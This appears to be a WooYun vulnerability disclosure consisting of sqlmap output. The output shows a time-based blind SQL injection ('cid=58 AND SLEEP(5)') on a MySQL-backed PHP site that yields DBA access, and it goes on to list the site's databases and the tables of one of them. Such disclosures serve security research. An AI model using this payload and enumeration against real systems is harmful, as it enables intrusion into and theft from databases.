WooYun.org

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 263 HTTP(s) requests:
---
Place: GET
Parameter: cid
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=11&cid=58 AND SLEEP(5)
---
[15:36:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
[15:37:56] [INFO] retrieved: root@localhost
current user is DBA:    True
[16:00:15] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
available databases [9]:
[*] bsjq
[*] bsjqbak
[*] gdvideo
[*] guangdian
[*] guangdianc
[*] guangdiannew
[*] information_schema
[*] mysql
[*] test
[15:27:38] [INFO] fe
Database: guangdian
[21 tables]
+----------------------+
| cupid_admin          |
| cupid_config         |
| cupid_contentbase    |
| cupid_contentclass   |
| cupid_contentcontent |
| cupid_diaocha_log    |
| cupid_hdp            |
| cupid_indexmodule    |
| cupid_messages       |
| cupid_moudleclass    |
| cupid_newbase        |
| cupid_newsclass      |
| cupid_newscontent    |
| cupid_proclass       |
| cupid_procut         |
| cupid_single         |
| cupid_substation     |
| cupid_templates      |
| cupid_toupiao        |
| cupid_toupiaoip      |
| cupid_weblink        |
+----------------------+